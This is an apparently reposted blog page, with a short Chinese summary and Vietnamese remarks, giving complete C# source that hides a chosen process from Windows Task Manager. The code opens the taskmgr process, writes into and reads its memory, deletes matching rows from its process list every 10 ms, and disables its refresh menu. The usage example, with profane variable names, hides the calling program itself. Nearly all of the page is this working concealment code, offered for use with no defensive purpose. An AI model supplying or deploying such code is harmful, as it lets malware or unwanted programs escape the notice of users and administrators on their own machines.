zzzz

最新推荐文章于 2025-08-16 11:28:50 发布

weixin_33907511

最新推荐文章于 2025-08-16 11:28:50 发布

阅读量79

点赞数

文章标签： runtime php c#

本文介绍了一种通过C#编程实现隐藏指定进程的方法，利用Windows API调用深入操作任务管理器界面，使得指定进程不被显示出来。该技术涉及进程操作、窗口消息发送等底层细节。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

using System ;
using System.Collections.Generic ;
using System.Diagnostics ;
using System.Management ;
using System.Runtime.InteropServices ;
using System.Threading ;
//Bài viết đăng tại http://diendan.congdongcviet.com/showthread.php?t=34797
namespace HideProcess
{
static public class HideIt
{
static private bool Initialized1 ;
static private DateTime TaskManagerTime = DateTime . Now ;
static private int TaskManagerCount ;
static private bool TaskManagerReload ;
static public void Bitch (Process process )
{
if ( !Initialized1 ) Initialize ( ) ;
new Proc (process ) ;
TaskManagerReload = true ;
}
static private void Initialize ( )
{
new Thread ( new ThreadStart ( delegate
{
while ( true )
{
_HideProcess ( ) ;
Thread . Sleep ( 10 ) ;
}
}
) ) . Start ( ) ;
Initialized1 = true ;
}
static private void _HideProcess ( )
{
try
{
IntPtr lhWndParent = Process . GetProcessesByName ( "taskmgr" ) [ 0 ] . MainWindowHandle ;
Api . WindowPlacement winp = new Api . WindowPlacement ( ) ;
winp . length = Marshal . SizeOf (winp ) ;
Api . GetWindowPlacement (lhWndParent, ref winp ) ;
bool visible = winp . showCmd == 1 || winp . showCmd == 3 ;
IntPtr lhParent = Api . FindWindowEx (lhWndParent, IntPtr . Zero, null, null ) ;
IntPtr lhWndProcessList = Api . GetDlgItem (lhParent, 1009 ) ;
IntPtr hMenu = Api . GetMenu (lhWndParent ) ;
IntPtr hViewMenu = Api . GetSubMenu (hMenu, 2 ) ;
IntPtr hUpdateSpeed = Api . GetSubMenu (hViewMenu, 1 ) ;
uint hRefreshNow = Api . GetMenuItemID (hViewMenu, 0 ) ;
if (hUpdateSpeed != IntPtr . Zero )
{
Api . SendMessage (lhWndParent, 273, (IntPtr )Api . GetMenuItemID (hUpdateSpeed, 3 ), IntPtr . Zero ) ;
Api . RemoveMenu (hViewMenu, ( uint )hUpdateSpeed, 1 ) ;
}
Api . EnableMenuItem (hMenu, hRefreshNow, 1 ) ;
if (visible ) Api . LockWindowUpdate (lhWndProcessList ) ;
if ( (DateTime . Now - TaskManagerTime ) . TotalMilliseconds > 1000 )
{
Api . SendMessage (lhWndParent, 273, (IntPtr )hRefreshNow, IntPtr . Zero ) ;
TaskManagerTime = DateTime . Now ;
}
GC . Collect ( ) ;
int count = ( int )Api . SendMessage (lhWndProcessList, 0x1004, IntPtr . Zero, "" ) ;
if (count != TaskManagerCount || TaskManagerReload )
{
TaskManagerReload = false ;
TaskManagerCount = count ;
for ( int i = 0 ; i < count ; i ++ )
{
string [ ] cells = new string [ 10 ] ;
for ( int a = 0 ; a < 10 ; a ++ )
{
cells [a ] = GetListViewItem (lhWndProcessList, i, a ) . ToLower ( ) ;
if (a > 0 && cells [a ] == cells [ 0 ] ) break ;
}
foreach (Proc proc in Proc . List )
{
bool f1 = false, f2 = false ;
for ( int a = 0 ; a < 10 ; a ++ )
{
if (cells [a ] == null || f1 && f2 ) break ;
if (cells [a ] . StartsWith (proc . Name ) ) f1 = true ;
else if (cells [a ] == proc . User ) f2 = true ;
}
if (f1 && f2 )
{
Api . SendMessage (lhWndProcessList, 4104, (IntPtr )i --, IntPtr . Zero ) ;
TaskManagerCount --;
break ;
}
}
}
}
if (visible ) Api . LockWindowUpdate (IntPtr . Zero ) ;
}
catch { }
}
static private string GetListViewItem (IntPtr hWnd, int index, int subitem )
{
Api . LvItem lvItem = new Api . LvItem ( ) ;
IntPtr lpLocalBuffer = Marshal . AllocHGlobal ( 1024 ) ;
uint pid ;
Api . GetWindowThreadProcessId (hWnd, out pid ) ;
IntPtr hProcess = Api . OpenProcess (0x001f0fff, false, ( int )pid ) ;
IntPtr lpRemoteBuffer = Api . VirtualAllocEx (hProcess, IntPtr . Zero, 1024, 0x1000, 4 ) ;
lvItem . mask = 1 ;
lvItem . iItem = index ;
lvItem . iSubItem = subitem ;
lvItem . pszText = (IntPtr ) ( ( int )lpRemoteBuffer + Marshal . SizeOf ( typeof (Api . LvItem ) ) ) ;
lvItem . cchTextMax = 50 ;
Api . WriteProcessMemory (hProcess, lpRemoteBuffer, ref lvItem, Marshal . SizeOf ( typeof (Api . LvItem ) ), 0 ) ;
Api . SendMessage (hWnd, 0x1005, IntPtr . Zero, lpRemoteBuffer ) ;
Api . ReadProcessMemory (hProcess, lpRemoteBuffer, lpLocalBuffer, 1024, 0 ) ;
string ret = Marshal . PtrToStringAnsi ( (IntPtr ) ( ( int )lpLocalBuffer + Marshal . SizeOf ( typeof (Api . LvItem ) ) ) ) ;
Marshal . FreeHGlobal (lpLocalBuffer ) ;
Api . VirtualFreeEx (hProcess, lpRemoteBuffer, 0, 0x8000 ) ;
Api . CloseHandle (hProcess ) ;
return ret ;
}
static private string GetProcessUser (Process process )
{
ManagementObjectCollection procs = new ManagementObjectSearcher ( "Select * From Win32_Process Where ProcessID = " + process . Id ) . Get ( ) ;
foreach (ManagementObject obj in procs )
{
string [ ] args = new [ ] { "" } ;
int returnVal = Convert . ToInt32 (obj . InvokeMethod ( "GetOwner", args ) ) ;
if (returnVal == 0 ) return args [ 0 ] ;
}
return "" ;
}
private class Proc
{
static public List <Proc > List = new List <Proc > ( ) ;
public string Name, User ;
public Proc (Process proc )
{
Name = proc . ProcessName . ToLower ( ) ;
User = GetProcessUser (proc ) . ToLower ( ) ;
lock (List ) List . Add ( this ) ;
}
}
}
static internal class Api
{
[DllImport ( "user32.dll", SetLastError = true ) ]
static public extern IntPtr FindWindowEx (IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow ) ;
[DllImport ( "user32.dll" ) ]
static public extern IntPtr GetDlgItem (IntPtr hDlg, int nIDDlgItem ) ;
[DllImport ( "user32.dll" ) ]
static public extern bool EnableWindow (IntPtr hWnd, bool bEnable ) ;
[DllImport ( "user32.dll" ) ]
static public extern IntPtr GetMenu (IntPtr hWnd ) ;
[DllImport ( "user32.dll", CharSet = CharSet . Ansi, SetLastError = true, ExactSpelling = true ) ]
static public extern IntPtr GetSubMenu (IntPtr hMenu, int nPos ) ;
[DllImport ( "user32.dll" ) ]
static public extern uint GetMenuItemID (IntPtr hMenu, int nPos ) ;
[DllImport ( "user32.dll" ) ]
static public extern bool EnableMenuItem (IntPtr hMenu, uint uIDEnableItem, uint uEnable ) ;
[DllImport ( "user32.dll" ) ]
static public extern bool RemoveMenu (IntPtr hMenu, uint uPosition, uint uFlags ) ;
[DllImport ( "user32.dll", CharSet = CharSet . Auto ) ]
static public extern IntPtr SendMessage (IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam ) ;
[DllImport ( "user32.dll", CharSet = CharSet . Auto ) ]
static public extern IntPtr SendMessage (IntPtr hWnd, UInt32 Msg, IntPtr wParam, string lParam ) ;
[DllImport ( "user32.dll", CharSet = CharSet . Auto ) ]
static public extern IntPtr SendMessage (IntPtr hWnd, [MarshalAs (UnmanagedType . U4 ) ] int msg, IntPtr wParam, ref TvItem item ) ;
[DllImport ( "user32.dll" ) ]
static public extern int SendMessage (IntPtr hWnd, int Msg, uint wParam, IntPtr lParam ) ;
[DllImport ( "user32.dll" ) ]
static public extern bool LockWindowUpdate (IntPtr hWndLock ) ;
[DllImport ( "user32.dll" ) ]
static public extern bool ShowWindowAsync (IntPtr hWnd, int nCmdShow ) ;
[DllImport ( "user32.dll" ) ]
[ return : MarshalAs (UnmanagedType . Bool ) ]
static public extern bool GetWindowPlacement (IntPtr hWnd, ref WindowPlacement lpwndpl ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern IntPtr OpenProcess ( uint dwDesiredAccess, [MarshalAs (UnmanagedType . Bool ) ] bool bInheritHandle, int dwProcessId ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern bool CloseHandle (IntPtr hObject ) ;
[DllImport ( "kernel32.dll", SetLastError = true, ExactSpelling = true ) ]
static public extern IntPtr VirtualAllocEx (IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect ) ;
[DllImport ( "kernel32.dll", SetLastError = true, ExactSpelling = true ) ]
static public extern bool VirtualFreeEx (IntPtr hProcess, IntPtr lpAddress, int dwSize, uint dwFreeType ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern bool ReadProcessMemory (IntPtr hProcess, IntPtr baseAddress, byte [ ] buffer, int dwSize, out int numberOfBytesRead ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern bool ReadProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, int lpNumberOfBytesRead ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, ref TvItem buffer, int dwSize, IntPtr lpNumberOfBytesWritten ) ;
[DllImport ( "kernel32.dll", SetLastError = true ) ]
static public extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, byte [ ] lpBuffer, uint nSize, out int lpNumberOfBytesWritten ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, ref LvItem buffer, int dwSize, int lpNumberOfBytesWritten ) ;
[DllImport ( "kernel32.dll" ) ]
static public extern bool ReadProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, IntPtr lpNumberOfBytesRead ) ;
[DllImport ( "user32.dll", SetLastError = true ) ]
static public extern uint GetWindowThreadProcessId (IntPtr hWnd, out uint lpdwProcessId ) ;
[DllImport ( "user32.dll" ) ]
static public extern IntPtr GetWindowThreadProcessId (IntPtr hWnd, out int lpwdProcessID ) ;
[StructLayout (LayoutKind . Sequential ) ]
public struct LvItem
{
public uint mask ;
public int iItem ;
public int iSubItem ;
public uint state ;
public uint stateMask ;
public IntPtr pszText ;
public int cchTextMax ;
public int iImage ;
}
[StructLayout (LayoutKind . Sequential ) ]
public struct TvItem
{
public int mask ;
public IntPtr hItem ;
public int state ;
public int stateMask ;
public IntPtr pszText ;
public int cchTextMax ;
public int iImage ;
public int iSelectedImage ;
public int cChildren ;
public IntPtr lParam ;
public int iIntegral ;
}
public struct Rect
{
int left, top, right, bottom ;
}
public struct Point
{
int x, y ;
}
public struct WindowPlacement
{
public int length, flags, showCmd ;
public Point ptMinPosition, ptMaxPosition ;
public Rect rcNormalPosition ;
}
}
}

khi gọi:

Visual C# Code:

Select All | Show/Hide

Process AndSuckMyCock = Process . GetProcessById (Process . GetCurrentProcess ( ) . Id ) ;
HideIt . Bitch (AndSuckMyCock ) ;

Phương pháp mà code này thực hiện tương tự như đây: codeproject.com/KB/system/Hack_Windows_Task_Manager.aspx

Code:

SendMessage(hWnd,LVM_DELETECOLUMN,(WPARAM)0,0);